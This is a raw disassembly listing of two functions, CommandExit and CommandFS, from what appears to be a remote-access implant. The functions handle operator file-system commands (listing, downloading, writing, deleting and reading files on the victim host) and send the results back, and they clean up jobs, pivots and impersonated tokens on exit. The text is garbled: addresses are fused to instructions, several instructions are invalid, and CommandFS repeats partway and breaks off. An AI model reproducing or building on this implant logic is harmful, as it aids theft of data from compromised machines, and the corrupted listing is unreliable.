14000aa10CommandExit:
14000aa10push rbp
14000aa11lea r9, [rip+0x1ca61]
14000aa18mov r8l, 3241
14000aa1elea rdx, [rip+0x21b6b]
14000aa25mov rbp, rsp
14000aa28push r15
14000aa2apush r14
14000aa2cpush r13
14000aa2epush r12
14000aa30push rdi
14000aa31push rsi
14000aa32push rbx
14000aa33and rsp, -16
14000aa37sub rsp, 1312
14000aa3emov [rbp+16], rcx
14000aa42lea rcx, [rip+0x1b5bf]
14000aa49call printf
14000aa4elea rdi, [rsp+80]
14000aa53xor eax, eax
14000aa55xor r10l, r10l
14000aa58mov ecx, 308
14000aa5dcmp [rbp+16], 0
14000aa62mov [rsp+64], r10
14000aa67rep stosd [rdi], eax
14000aa69mov rbx, [rip+0x21900]
14000aa70lea rax, [rsp+80]
14000aa75mov [rsp+72], r10
14000aa7amov [rsp+60], 1
14000aa82mov [rsp+48], rax
14000aa87mov r15, [rbx+2302]
14000aa8emov r14, [rbx+2326]
14000aa95mov r13, [rbx+2310]
14000aa9cmov r12, [rbx+2318]
14000aaa3mov rsi, [rbx+2294]
14000aaaaje 0x14000aae1
14000aaacmov ecx, 92
14000aab1call PackageCreate
14000aab6mov rcx, [rbp+16]
14000aabamov rdi, rax
14000aabdcall ParserGetInt32
14000aac2mov rcx, rdi
14000aac5mov edx, eax
14000aac7mov [rsp+60], eax
14000aacbcall PackageAddInt32
14000aad0mov rcx, rdi
14000aad3call PackageTransmit
14000aad8xor edx, edx
14000aadaxor ecx, ecx
14000aadccall PackageTransmitAll
14000aae1
14000aae1loc_14000aae1:
14000aae1test r15, r15
14000aae4jne 0x14000aaee
14000aae6mov r15l, 56
14000aaecjmp 0x14000ab45
14000aaee
14000aaeeloc_14000aaee:
14000aaeemov ecx, [r15+4]
14000aaf2mov r15, [r15+32]
14000aaf6call JobKill
14000aafbjmp 0x14000aae1
14000aafd
14000aafdloc_14000aafd:
14000aafdmov rax, [r14+48]
14000ab01mov rcx, [r14+8]
14000ab05mov [rsp+40], rax
14000ab0atest rcx, rcx
14000ab0dje 0x14000ab1c
14000ab0fcall [rbx+1908]
14000ab15xor r9l, r9l
14000ab18mov [r14+8], r9
14000ab1c
14000ab1cloc_14000ab1c:
14000ab1cmov rdi, r14
14000ab1fmov rcx, r15
14000ab22xor eax, eax
14000ab24rep stosb [rdi], al
14000ab26mov rax, [rbx+2230]
14000ab2dmov r8, r14
14000ab30xor edx, edx
14000ab32mov rax, [rax+96]
14000ab36mov rcx, [rax+48]
14000ab3acall [rbx+332]
14000ab40mov r14, [rsp+40]
14000ab45
14000ab45loc_14000ab45:
14000ab45test r14, r14
14000ab48jne 0x14000aafd
14000ab4a
14000ab4aloc_14000ab4a:
14000ab4atest r13, r13
14000ab4dje 0x14000ab61
14000ab4fmov rdi, [r13+48]
14000ab53mov ecx, [r13]
14000ab57call DownloadRemove
14000ab5cmov r13, rdi
14000ab5fjmp 0x14000ab4a
14000ab61
14000ab61loc_14000ab61:
14000ab61test r12, r12
14000ab64je 0x14000ab79
14000ab66mov rdi, [r12+40]
14000ab6bmov ecx, [r12]
14000ab6fcall RemoveMemFile
14000ab74mov r12, rdi
14000ab77jmp 0x14000ab61
14000ab79
14000ab79loc_14000ab79:
14000ab79mov r8, [rbx+2250]
14000ab80test r8, r8
14000ab83je 0x14000abaf
14000ab85mov rax, [rbx+2230]
14000ab8cxor edx, edx
14000ab8emov rax, [rax+96]
14000ab92mov rcx, [rax+48]
14000ab96call [rbx+332]
14000ab9cxor ecx, ecx
14000ab9exor r8l, r8l
14000aba1mov [rbx+2250], rcx
14000aba8mov [rbx+2258], r8l
14000abaf
14000abafloc_14000abaf:
14000abafmov rdi, [rbx+28]
14000abb3test rdi, rdi
14000abb6je 0x14000abd0
14000abb8mov rcx, [rbx+36]
14000abbcxor eax, eax
14000abberep stosb [rdi], al
14000abc0mov rcx, [rbx+28]
14000abc4call [rbx+940]
14000abcaxor edx, edx
14000abccmov [rbx+28], rdx
14000abd0
14000abd0loc_14000abd0:
14000abd0test rsi, rsi
14000abd3je 0x14000abe5
14000abd5mov rdi, [rsi+32]
14000abd9mov ecx, [rsi]
14000abdbcall PivotRemove
14000abe0mov rsi, rdi
14000abe3jmp 0x14000abd0
14000abe5
14000abe5loc_14000abe5:
14000abe5xor ecx, ecx
14000abe7call TokenImpersonate
14000abeccall TokenClear
14000abf1cmp [rbx+12], 0
14000abf5je 0x14000abfd
14000abf7call [rbx+1852]
14000abfd
14000abfdloc_14000abfd:
14000abfdmov rcx, [rbx+16]
14000ac01test rcx, rcx
14000ac04je 0x14000ac0c
14000ac06call [rbx+1212]
14000ac0c
14000ac0cloc_14000ac0c:
14000ac0cmov rax, [rbx+44]
14000ac10mov rcx, [rsp+48]
14000ac15mov [rsp+128], 0x10000b
14000ac20mov [rsp+64], rax
14000ac25xor eax, eax
14000ac27mov [rsp+72], rax
14000ac2ccall [rbx+420]
14000ac32mov rax, [rbx+660]
14000ac39mov [rsp+208], -1
14000ac45mov [rsp+272], 32768
14000ac51mov [rsp+328], rax
14000ac59mov rax, [rsp+232]
14000ac61and rax, -4096
14000ac67cmp [rsp+60], 1
14000ac6clea rdx, [rax-4096]
14000ac73mov [rsp+232], rdx
14000ac7blea rdx, [rsp+64]
14000ac80mov [rsp+216], rdx
14000ac88lea rdx, [rsp+72]
14000ac8dmov [rsp+264], rdx
14000ac95jne 0x14000aca0
14000ac97mov rdx, [rbx+364]
14000ac9ejmp 0x14000acae
14000aca0
14000aca0loc_14000aca0:
14000aca0cmp [rsp+60], 2
14000aca5jne 0x14000acb5
14000aca7mov rdx, [rbx+372]
14000acae
14000acaeloc_14000acae:
14000acaemov [rax-4096], rdx
14000acb5
14000acb5loc_14000acb5:
14000acb5mov [rsp+128], 0x10000b
14000acc0mov rcx, [rsp+48]
14000acc5xor edx, edx
14000acc7call [rbx+692]
14000accdlea rsp, [rbp-56]
14000acd1pop rbx
14000acd2pop rsi
14000acd3pop rdi
14000acd4pop r12
14000acd6pop r13
14000acd8pop r14
14000acdapop r15
14000acdcpop rbp
14000acddret
14000aa10
14000acde
14000acde // align 0x10
14000acde // align 0x10
14000ace0
14000ace0CommandFS:
14000ace0push r15
14000ace2push r14
14000ace4push r13
14000ace6push r12
14000ace8push rbp
14000ace9push rdi
14000aceapush rsi
14000acebpush rbx
14000acecmov rbx, rcx
14000acefmov ecx, 15
14000acf4sub rsp, 1176
14000acfbcall PackageCreate
14000ad00mov rcx, rbx
14000ad03mov [rsp+72], rax
14000ad08call ParserGetInt32
14000ad0dmov rcx, [rsp+72]
14000ad12mov edx, eax
14000ad14mov [rsp+80], eax
14000ad18call PackageAddInt32
14000ad1dmov r9l, [rsp+80]
14000ad22lea eax, [r9-1]
14000ad26cmp eax, 9
14000ad29ja 0x14000b7e1
14000ad2flea rdx, [rip+0x1b90e]
14000ad36movsxd rax, [rdx+4*rax]
14000ad3aadd rax, rdx
14000ad3djmp rax
14000ad3flea r9, [rip+0x1b6f2]
14000ad46mov r8l, 689
14000ad4clea rdx, [rip+0x21e4d]
14000ad53lea rcx, [rip+0x1b2ae]
14000ad5acall printf
14000ad5fmov rcx, rbx
14000ad62call ParserGetBool
14000ad67xor edx, edx
14000ad69mov rcx, rbx
14000ad6cmov [rsp+80], eax
14000ad70call ParserGetWString
14000ad75mov rcx, rbx
14000ad78mov rsi, rax
14000ad7bcall ParserGetBool
14000ad80mov rcx, rbx
14000ad83mov [rsp+84], eax
14000ad87call ParserGetBool
14000ad8cmov rcx, rbx
14000ad8fmov [rsp+88], eax
14000ad93call ParserGetBool
14000ad98mov rcx, rbx
14000ad9bmov [rsp+92], eax
14000ad9fcall ParserGetBool
14000ada4xor edx, edx
14000ada6mov rcx, rbx
14000ada9mov r14l, eax
14000adaccall ParserGetWString
14000adb1xor edx, edx
14000adb3mov rcx, rbx
14000adb6mov rbp, rax
14000adb9call ParserGetWString
14000adbexor edx, edx
14000adc0mov rcx, rbx
14000adc3mov r12, rax
14000adc6call ParserGetWString
14000adcbcmp [rbp], 0
14000add0mov r13, rax
14000add3jne 0x14000add7
14000add5xor ebp, ebp
14000add7
14000add7loc_14000add7:
14000add7cmp [r12], 0
14000adddjne 0x14000ade2
14000addfxor r12l, r12l
14000ade2
14000ade2loc_14000ade2:
14000ade2cmp [r13], 0
14000ade8jne 0x14000aded
14000adeaxor r13l, r13l
14000aded
14000adedloc_14000aded:
14000adedmov r15, [rip+0x2157c]
14000adf4mov edx, 520
14000adf9mov ecx, 64
14000adfecall [r15+932]
14000ae05cmp [rsi], 46
14000ae09mov rbx, rax
14000ae0cjne 0x14000ae9f
14000ae12mov rdx, rax
14000ae15mov ecx, 260
14000ae1acall [r15+996]
14000ae21test eax, eax
14000ae23jne 0x14000ae6d
14000ae25mov rax, [r15+2230]
14000ae2cmov r8l, 727
14000ae32lea rdx, [rip+0x21d67]
14000ae39lea rcx, [rip+0x1b600]
14000ae40mov r9l, [rax+104]
14000ae44call printf
14000ae49test rbx, rbx
14000ae4cje 0x14000b7ff
14000ae52mov rdi, rbx
14000ae55mov ecx, 520
14000ae5axor eax, eax
14000ae5crep stosb [rdi], al
14000ae5emov rcx, rbx
14000ae61call [r15+940]
14000ae68jmp 0x14000b7ff
14000ae6d
14000ae6dloc_14000ae6d:
14000ae6dmov rcx, rbx
14000ae70call StringLengthW
14000ae75lea ecx, [rax-1]
14000ae78mov edx, eax
14000ae7acmp [rbx+2*rcx], 92
14000ae7fje 0x14000ae8c
14000ae81lea edx, [rax+1]
14000ae84mov eax, eax
14000ae86mov [rbx+2*rax], 92
14000ae8c
14000ae8cloc_14000ae8c:
14000ae8cmov eax, edx
14000ae8emov [rbx+2*rax], 42
14000ae94lea eax, [rdx+1]
14000ae97mov [rbx+2*rax], 0
14000ae9djmp 0x14000aea9
14000ae9f
14000ae9floc_14000ae9f:
14000ae9fmov ecx, 130
14000aea4mov rdi, rax
14000aea7rep movsd [rdi], [rsi]
14000aea9
14000aea9loc_14000aea9:
14000aea9mov r9, rbx
14000aeacmov r8l, 743
14000aeb2lea rdx, [rip+0x21ce7]
14000aeb9lea rcx, [rip+0x1b5af]
14000aec0call printf
14000aec5mov [rsp+48], r13
14000aecamov r9l, [rsp+92]
14000aecfmov rcx, rbx
14000aed2mov r8l, [rsp+88]
14000aed7mov edx, [rsp+84]
14000aedbmov [rsp+40], r12
14000aee0mov [rsp+32], rbp
14000aee5call listDir
14000aeeamovzx edx, [rsp+80]
14000aeefmov rcx, [rsp+72]
14000aef4mov rsi, rax
14000aef7call PackageAddBool
14000aefcmov rcx, [rsp+72]
14000af01movzx edx, r14b
14000af05call PackageAddBool
14000af0amov rcx, [rsp+72]
14000af0fmov rdx, rbx
14000af12call PackageAddWString
14000af17xor edx, edx
14000af19mov rcx, [rsp+72]
14000af1etest rsi, rsi
14000af21setne dl
14000af24xor r12l, r12l
14000af27call PackageAddBool
14000af2cmov r13, [rip+0x2143d]
14000af33
14000af33loc_14000af33:
14000af33test rsi, rsi
14000af36je 0x14000b05e
14000af3cmov rcx, [rsp+72]
14000af41mov rdx, rsi
14000af44mov r14l, 576
14000af4acall PackageAddWString
14000af4fmov edx, [rsi+536]
14000af55mov rcx, [rsp+72]
14000af5acall PackageAddInt32
14000af5fmov edx, [rsi+540]
14000af65mov rcx, [rsp+72]
14000af6acall PackageAddInt32
14000af6fmov rdx, [rsi+544]
14000af76mov rcx, [rsp+72]
14000af7bcall PackageAddInt64
14000af80mov rbp, [rsi+528]
14000af87
14000af87loc_14000af87:
14000af87test rbp, rbp
14000af8aje 0x14000b038
14000af90mov rcx, [rsp+72]
14000af95mov rdx, rbp
14000af98mov rdi, rbp
14000af9bcall PackageAddWString
14000afa0movzx edx, [rbp+556]
14000afa7mov rcx, [rsp+72]
14000afaccall PackageAddBool
14000afb1mov rdx, [rbp+560]
14000afb8mov rcx, [rsp+72]
14000afbdcall PackageAddInt64
14000afc2movzx edx, [rbp+528]
14000afc9mov rcx, [rsp+72]
14000afcecall PackageAddInt32
14000afd3movzx edx, [rbp+524]
14000afdamov rcx, [rsp+72]
14000afdfcall PackageAddInt32
14000afe4movzx edx, [rbp+522]
14000afebmov rcx, [rsp+72]
14000aff0call PackageAddInt32
14000aff5movzx edx, [rbp+548]
14000affcmov rcx, [rsp+72]
14000b001call PackageAddInt32
14000b006mov rcx, [rsp+72]
14000b00bmovzx edx, [rbp+546]
14000b012call PackageAddInt32
14000b017mov r15, [rbp+568]
14000b01emov rcx, r14
14000b021mov eax, r12l
14000b024rep stosb [rdi], al
14000b026mov rcx, rbp
14000b029mov rbp, r15
14000b02ccall [r13+940]
14000b033jmp 0x14000af87
14000b038
14000b038loc_14000b038:
14000b038mov rbp, [rsi+552]
14000b03fmov rdi, rsi
14000b042mov ecx, 560
14000b047mov eax, r12l
14000b04arep stosb [rdi], al
14000b04cmov rcx, rsi
14000b04fmov rsi, rbp
14000b052call [r13+940]
14000b059jmp 0x14000af33
14000b05e
14000b05eloc_14000b05e:
14000b05etest rbx, rbx
14000b061je 0x14000b7ff
14000b067mov rdi, rbx
14000b06amov ecx, 520
14000b06fxor eax, eax
14000b071rep stosb [rdi], al
14000b073mov rcx, rbx
14000b076jmp 0x14000b7d2
14000b07blea rbp, [rip+0x1af86]
14000b082xor edi, edi
14000b084xor r12l, r12l
14000b087xor r13l, r13l
14000b08alea r9, [rip+0x1b3f9]
14000b091mov r8l, 786
14000b097mov rcx, rbp
14000b09axor r14l, r14l
14000b09dlea rdx, [rip+0x21afc]
14000b0a4call printf
14000b0a9xor eax, eax
14000b0abmov [rsp+112], rdi
14000b0b0mov ecx, 260
14000b0b5mov [rsp+120], rdi
14000b0balea rdi, [rsp+128]
14000b0c2lea rdx, [rsp+120]
14000b0c7rep stosd [rdi], eax
14000b0c9mov rcx, rbx
14000b0ccmov [rsp+104], r12
14000b0d1lea r12, [rsp+128]
14000b0d9call ParserGetBytes
14000b0demov rbx, [rip+0x2128b]
14000b0e5mov rsi, rax
14000b0e8mov eax, [rsp+120]
14000b0ecmov rdx, [rbx+2230]
14000b0f3lea r8, [rax+2]
14000b0f7mov rdx, [rdx+96]
14000b0fbmov rcx, [rdx+48]
14000b0ffmov edx, 8
14000b104call [rbx+316]
14000b10amov ecx, [rsp+120]
14000b10emov r8l, 802
14000b114lea rdx, [rip+0x21a85]
14000b11bmov [rsp+112], rax
14000b120mov rdi, rax
14000b123rep movsb [rdi], [rsi]
14000b125lea rcx, [rip+0x1b36b]
14000b12cmov r9, [rsp+112]
14000b131call printf
14000b136xor r9l, r9l
14000b139xor r8l, r8l
14000b13cmov [rsp+48], r13
14000b141mov [rsp+40], r14l
14000b146mov rcx, [rsp+112]
14000b14bmov edx, 0xffffffff80000000
14000b150mov [rsp+32], 3
14000b158call [rbx+812]
14000b15elea r9, [rip+0x1b353]
14000b165mov r8l, 807
14000b16bmov rsi, rax
14000b16elea rax, [rax-1]
14000b172cmp rax, -3
14000b176ja 0x14000b1d1
14000b178xor r9l, r9l
14000b17bmov rcx, [rsp+112]
14000b180mov r8, r12
14000b183mov edx, 520
14000b188call [rbx+820]
14000b18emov [rsp+32], r12
14000b193lea rdx, [rip+0x21a06]
14000b19alea rcx, [rip+0x1b32b]
14000b1a1movzx r9l, ax
14000b1a5mov r8l, 816
14000b1abmov edi, eax
14000b1adcall printf
14000b1b2lea rdx, [rsp+104]
14000b1b7mov rcx, rsi
14000b1bacall [rbx+836]
14000b1c0test eax, eax
14000b1c2jne 0x14000b1f8
14000b1c4lea r9, [rip+0x1b32b]
14000b1cbmov r8l, 820
14000b1d1
14000b1d1loc_14000b1d1:
14000b1d1lea rdx, [rip+0x219c8]
14000b1d8mov rcx, rbp
14000b1dbxor esi, esi
14000b1ddcall printf
14000b1e2mov rax, [rbx+2230]
14000b1e9mov ecx, 1
14000b1eemov edx, [rax+104]
14000b1f1call PackageTransmitError
14000b1f6jmp 0x14000b24b
14000b1f8
14000b1f8loc_14000b1f8:
14000b1f8mov rdx, [rsp+104]
14000b1fdmov rcx, rsi
14000b200call DownloadAdd
14000b205mov rcx, [rsp+72]
14000b20axor edx, edx
14000b20cmov rsi, rax
14000b20fcall PackageAddInt32
14000b214mov edx, [rsi]
14000b216mov rcx, [rsp+72]
14000b21bcall PackageAddInt32
14000b220mov rdx, [rsp+104]
14000b225mov rcx, [rsp+72]
14000b22acall PackageAddInt64
14000b22fmov rdx, r12
14000b232test di, di
14000b235jne 0x14000b23c
14000b237mov rdx, [rsp+112]
14000b23c
14000b23cloc_14000b23c:
14000b23cmov rcx, [rsp+72]
14000b241mov esi, 1
14000b246call PackageAddWString
14000b24b
14000b24bloc_14000b24b:
14000b24blea r9, [rip+0x1b2ba]
14000b252mov r8l, 859
14000b258lea rdx, [rip+0x21941]
14000b25fmov rcx, rbp
14000b262call printf
14000b267mov rdi, [rsp+112]
14000b26ctest rdi, rdi
14000b26fje 0x14000b295
14000b271mov ecx, [rsp+120]
14000b275xor eax, eax
14000b277rep stosb [rdi], al
14000b279mov rax, [rbx+2230]
14000b280mov r8, [rsp+112]
14000b285xor edx, edx
14000b287mov rax, [rax+96]
14000b28bmov rcx, [rax+48]
14000b28fcall [rbx+332]
14000b295
14000b295loc_14000b295:
14000b295test esi, esi
14000b297jne 0x14000b7ff
14000b29djmp 0x14000b81c
14000b2a2lea rdi, [rip+0x1ad5f]
14000b2a9lea r9, [rip+0x1b26c]
14000b2b0mov r8l, 874
14000b2b6xor esi, esi
14000b2b8lea rdx, [rip+0x218e1]
14000b2bfmov rcx, rdi
14000b2c2call printf
14000b2c7lea rdx, [rsp+112]
14000b2ccmov rcx, rbx
14000b2cfmov [rsp+112], esi
14000b2d3mov [rsp+128], esi
14000b2dacall ParserGetWString
14000b2dfmov rcx, rbx
14000b2e2mov rsi, rax
14000b2e5call ParserGetInt32
14000b2eamov ecx, eax
14000b2ecmov [rsp+80], eax
14000b2f0call GetMemFile
14000b2f5mov r9l, [rsp+80]
14000b2fatest rax, rax
14000b2fdje 0x14000b389
14000b303cmp [rax+32], 0
14000b307je 0x14000b373
14000b309mov r14, [rax+8]
14000b30dmov r12, [rax+24]
14000b311mov [rsp+32], rsi
14000b316xor ebx, ebx
14000b318mov r8l, 906
14000b31elea rdx, [rip+0x2187b]
14000b325lea rcx, [rip+0x1b1fb]
14000b32cmov r9l, r14l
14000b32fcall printf
14000b334mov [rsp+48], rbx
14000b339xor r9l, r9l
14000b33cxor r8l, r8l
14000b33fmov rbp, [rip+0x2102a]
14000b346mov [rsp+40], 128
14000b34emov edx, 0x40000000
14000b353mov rcx, rsi
14000b356mov [rsp+32], 1
14000b35ecall [rbp+812]
14000b364mov rbx, rax
14000b367lea rax, [rax-1]
14000b36bcmp rax, -3
14000b36fjbe 0x14000b3e2
14000b371jmp 0x14000b3a7
14000b373
14000b373loc_14000b373:
14000b373mov r8l, 895
14000b379lea rdx, [rip+0x21820]
14000b380lea rcx, [rip+0x1b1c5]
14000b387jmp 0x14000b39d
14000b389
14000b389loc_14000b389:
14000b389mov r8l, 901
14000b38flea rdx, [rip+0x2180a]
14000b396lea rcx, [rip+0x1b1df]
14000b39d
14000b39dloc_14000b39d:
14000b39dcall printf
14000b3a2jmp 0x14000b81c
14000b3a7
14000b3a7loc_14000b3a7:
14000b3a7lea rdx, [rip+0x217f2]
14000b3aemov rcx, rdi
14000b3b1lea r9, [rip+0x1b100]
14000b3b8mov r8l, 911
14000b3becall printf
14000b3c3mov rax, [rbp+2230]
14000b3camov ecx, 1
14000b3cfmov edx, [rax+104]
14000b3d2call PackageTransmitError
14000b3d7test rbx, rbx
14000b3daje 0x14000b81c
14000b3e0jmp 0x14000b45e
14000b3e2
14000b3e2loc_14000b3e2:
14000b3e2xor r11l, r11l
14000b3e5mov r8l, r14l
14000b3e8mov rdx, r12
14000b3ebmov rcx, rbx
14000b3eemov [rsp+32], r11
14000b3f3lea r9, [rsp+128]
14000b3fbcall [rbp+876]
14000b401test eax, eax
14000b403jne 0x14000b437
14000b405mov rcx, rdi
14000b408lea r9, [rip+0x1b195]
14000b40fmov r8l, 919
14000b415lea rdx, [rip+0x21784]
14000b41ccall printf
14000b421mov rax, [rbp+2230]
14000b428mov ecx, 1
14000b42dmov edx, [rax+104]
14000b430call PackageTransmitError
14000b435jmp 0x14000b45e
14000b437
14000b437loc_14000b437:
14000b437mov rcx, [rsp+72]
14000b43cmov edx, r14l
14000b43fcall PackageAddInt32
14000b444mov rcx, [rsp+72]
14000b449mov rdx, rsi
14000b44ccall PackageAddWString
14000b451mov rcx, rbx
14000b454call SysNtClose
14000b459jmp 0x14000b7ff
14000b45e
14000b45eloc_14000b45e:
14000b45emov rcx, rbx
14000b461call SysNtClose
14000b466jmp 0x14000b81c
14000b46blea r9, [rip+0x1b144]
14000b472mov r8l, 941
14000b478lea rdx, [rip+0x21721]
14000b47flea rcx, [rip+0x1ab82]
14000b486call printf
14000b48bxor r10l, r10l
14000b48emov rcx, rbx
14000b491lea rdx, [rsp+128]
14000b499mov [rsp+128], r10l
14000b4a1call ParserGetWString
14000b4a6mov rsi, [rip+0x20ec3]
14000b4admov rbx, rax
14000b4b0mov rcx, rax
14000b4b3call [rsi+1092]
14000b4b9jmp 0x14000b594
14000b4bemov r8l, 956
14000b4c4lea r9, [rip+0x1b0f2]
14000b4cblea rdx, [rip+0x216ce]
14000b4d2lea rcx, [rip+0x1ab2f]
14000b4d9call printf
14000b4dexor r9l, r9l
14000b4e1mov rcx, rbx
14000b4e4lea rdx, [rsp+128]
14000b4ecmov [rsp+128], r9l
14000b4f4call ParserGetWString
14000b4f9mov rsi, [rip+0x20e70]
14000b500mov rbx, rax
14000b503mov rcx, rax
14000b506call [rsi+1060]
14000b50cmov rcx, rbx
14000b50fcmp eax, -1
14000b512je 0x14000b529
14000b514test al, 16
14000b516je 0x14000b529
14000b518call [rsi+1028]
14000b51emov edx, 1
14000b523test eax, eax
14000b525jne 0x14000b535
14000b527jmp 0x14000b59c
14000b529
14000b529loc_14000b529:
14000b529call [rsi+1020]
14000b52fxor edx, edx
14000b531test eax, eax
14000b533je 0x14000b59c
14000b535
14000b535loc_14000b535:
14000b535mov rcx, [rsp+72]
14000b53acall PackageAddInt32
14000b53fjmp 0x14000b665
14000b544lea r9, [rip+0x1b07d]
14000b54bmov r8l, 986
14000b551lea rdx, [rip+0x21648]
14000b558lea rcx, [rip+0x1aaa9]
14000b55fcall printf
14000b564mov rcx, rbx
14000b567xor r8l, r8l
14000b56alea rdx, [rsp+128]
14000b572mov [rsp+128], r8l
14000b57acall ParserGetWString
14000b57fmov rsi, [rip+0x20dea]
14000b586xor edx, edx
14000b588mov rbx, rax
14000b58bmov rcx, rax
14000b58ecall [rsi+1036]
14000b594
14000b594loc_14000b594:
14000b594test eax, eax
14000b596jne 0x14000b665
14000b59c
14000b59cloc_14000b59c:
14000b59cmov rax, [rsi+2230]
14000b5a3jmp 0x14000b63c
14000b5a8lea r9, [rip+0x1b023]
14000b5afmov r8l, 1002
14000b5b5lea rdx, [rip+0x215e4]
14000b5bclea rcx, [rip+0x1aa45]
14000b5c3call printf
14000b5c8xor ecx, ecx
14000b5calea rdx, [rsp+112]
14000b5cfmov [rsp+112], ecx
14000b5d3mov [rsp+128], ecx
14000b5damov rcx, rbx
14000b5ddcall ParserGetWString
14000b5e2mov rcx, rbx
14000b5e5lea rdx, [rsp+128]
14000b5edmov rsi, rax
14000b5f0call ParserGetWString
14000b5f5mov r9, rsi
14000b5f8mov r8l, 1013
14000b5felea rdx, [rip+0x2159b]
14000b605mov [rsp+32], rax
14000b60alea rcx, [rip+0x1afca]
14000b611mov rbx, rax
14000b614call printf
14000b619mov rdx, rbx
14000b61cxor r8l, r8l
14000b61fmov rcx, rsi
14000b622mov rdi, [rip+0x20d47]
14000b629call [rdi+1116]
14000b62fmov edx, eax
14000b631test eax, eax
14000b633jne 0x14000b64e
14000b635mov rax, [rdi+2230]
14000b63c
14000b63cloc_14000b63c:
14000b63cmov edx, [rax+104]
14000b63fmov ecx, 1
14000b644call PackageTransmitError
14000b649jmp 0x14000b81c
14000b64e
14000b64eloc_14000b64e:
14000b64emov rcx, [rsp+72]
14000b653call PackageAddInt32
14000b658mov rcx, [rsp+72]
14000b65dmov rdx, rsi
14000b660call PackageAddWString
14000b665
14000b665loc_14000b665:
14000b665mov rdx, rbx
14000b668jmp 0x14000b6ff
14000b66dlea rdx, [rip+0x2152c]
14000b674lea rcx, [rip+0x1a98d]
14000b67bmov r8l, 1028
14000b681lea r9, [rip+0x1af77]
14000b688lea rdi, [rsp+128]
14000b690call printf
14000b695xor eax, eax
14000b697mov ecx, 260
14000b69cmov rbx, [rip+0x20ccd]
14000b6a3rep stosd [rdi], eax
14000b6a5lea rsi, [rsp+128]
14000b6admov ecx, 520
14000b6b2mov rdx, rsi
14000b6b5call [rbx+996]
14000b6bbtest eax, eax
14000b6bdjne 0x14000b6fc
14000b6bfmov rax, [rbx+2230]
14000b6c6mov r8l, 1034
14000b6cclea rdx, [rip+0x214cd]
14000b6d3lea rcx, [rip+0x1ad66]
14000b6damov r9l, [rax+104]
14000b6decall printf
14000b6e3mov rax, [rbx+2230]
14000b6eamov ecx, 1
14000b6efmov edx, [rax+104]
14000b6f2call PackageTransmitError
14000b6f7jmp 0x14000b7ff
14000b6fc
14000b6fcloc_14000b6fc:
14000b6fcmov rdx, rsi
14000b6ff
14000b6ffloc_14000b6ff:
14000b6ffmov rcx, [rsp+72]
14000b704call PackageAddWString
14000b709jmp 0x14000b7ff
14000b70elea r9, [rip+0x1aef5]
14000b715mov r8l, 1043
14000b71blea rdx, [rip+0x2147e]
14000b722lea rcx, [rip+0x1a8df]
14000b729call printf
14000b72exor eax, eax
14000b730mov rcx, rbx
14000b733lea rdx, [rsp+112]
14000b738mov [rsp+104], eax
14000b73cmov [rsp+112], eax
14000b740call ParserGetWString
14000b745xor edx, edx
14000b747mov r8l, 1051
14000b74dlea rcx, [rip+0x1ad43]
14000b754mov r9, rax
14000b757mov rbx, rax
14000b75amov [rsp+128], rdx
14000b762lea rdx, [rip+0x21437]
14000b769call printf
14000b76elea r8, [rsp+104]
14000b773lea rdx, [rsp+128]
14000b77bmov rcx, rbx
14000b77ecall ReadLocalFile
14000b783mov rcx, [rsp+72]
14000b788mov rdx, rbx
14000b78bmov esi, eax
14000b78dcall PackageAddWString
14000b792mov rcx, [rsp+72]
14000b797mov edx, esi
14000b799call PackageAddInt32
14000b79emov r8l, [rsp+104]
14000b7a3mov rcx, [rsp+72]
14000b7a8mov rdx, [rsp+128]
14000b7b0call PackageAddBytes
14000b7b5mov rdi, [rsp+128]
14000b7bdtest rdi, rdi
14000b7c0je 0x14000b7ff
14000b7c2mov ecx, [rsp+104]
14000b7c6xor eax, eax
14000b7c8rep stosb [rdi], al
14000b7camov rcx, [rsp+128]
14000b7d2
14000b7d2loc_14000b7d2:
14000b7d2mov rax, [rip+0x20b97]
14000b7d9call [rax+940]
14000b7dfjmp 0x14000b7ff
14000b7e1
14000b7e1loc_14000b7e1:
14000b7e1mov [rsp+32], r9l
14000b7e6mov r8l, 1070
14000b7eclea rdx, [rip+0x213ad]
14000b7f3lea rcx, [rip+0x1ae18]
14000b7facall printf
14000b7ff
14000b7ffloc_14000b7ff:
14000b7ffmov rcx, [rsp+72]
14000b804add rsp, 1176
14000b80bpop rbx
14000b80cpop rsi
14000b80dpop rdi
14000b80epop rbp
14000b80fpop r12
14000b811pop r13
14000b813pop r14
14000b815pop r15
14000b817jmp 0x140018b90
14000b81c
14000b81cloc_14000b81c:
14000b81cmov rcx, [rsp+72]
14000b821add rsp, 1176
14000b828pop rbx
14000b829pop rsi
14000b82apop rdi
14000b82bpop rbp
14000b82cpop r12
14000b82epop r13
14000b830pop r14
14000b832pop r15
14000b834jmp 0x140018af0
14000ace0
14000ace0CommandFS:
14000ace0push r15
14000ace2push r14
14000ace4push r13
14000ace6push r12
14000ace8push rbp
14000ace9push rdi
14000aceapush rsi
14000acebpush rbx
14000acecmov rbx, rcx
14000acefmov ecx, 15
14000acf4sub rsp, 1176
14000acfbcall PackageCreate
14000ad00mov rcx, rbx
14000ad03mov [rsp+72], rax
14000ad08call ParserGetInt32
14000ad0dmov rcx, [rsp+72]
14000ad12mov edx, eax
14000ad14mov [rsp+80], eax
14000ad18call PackageAddInt32
14000ad1dmov r9l, [rsp+80]
14000ad22lea eax, [r9-1]
14000ad26cmp eax, 9
14000ad29ja 0x14000b7e1
14000ad2flea rdx, [rip+0x1b90e]
14000ad36movsxd rax, [rdx+4*rax]
14000ad3aadd rax, rdx
14000ad3djmp rax
14000ad3flea r9, [rip+0x1b6f2]
14000ad46mov r8l, 689
14000ad4clea rdx, [rip+0x21e4d]
14000ad53lea rcx, [rip+0x1b2ae]
14000ad5acall printf
14000ad5fmov rcx, rbx
14000ad62call ParserGetBool
14000ad67xor edx, edx
14000ad69mov rcx, rbx
14000ad6cmov [rsp+80], eax
14000ad70call ParserGetWString
14000ad75mov rcx, rbx
14000ad78mov rsi, rax
14000ad7bcall ParserGetBool
14000ad80mov rcx, rbx
14000ad83mov [rsp+84], eax
14000ad87call ParserGetBool
14000ad8cmov rcx, rbx
14000ad8fmov [rsp+88], eax
14000ad93call ParserGetBool
14000ad98mov rcx, rbx
14000ad9bmov [rsp+92], eax
14000ad9fcall ParserGetBool
14000ada4xor edx, edx
14000ada6mov rcx, rbx
14000ada9mov r14l, eax
14000adaccall ParserGetWString
14000adb1xor edx, edx
14000adb3mov rcx, rbx
14000adb6mov rbp, rax
14000adb9call ParserGetWString
14000adbexor edx, edx
14000adc0mov rcx, rbx
14000adc3mov r12, rax
14000adc6call ParserGetWString
14000adcbcmp [rbp], 0
14000add0mov r13, rax
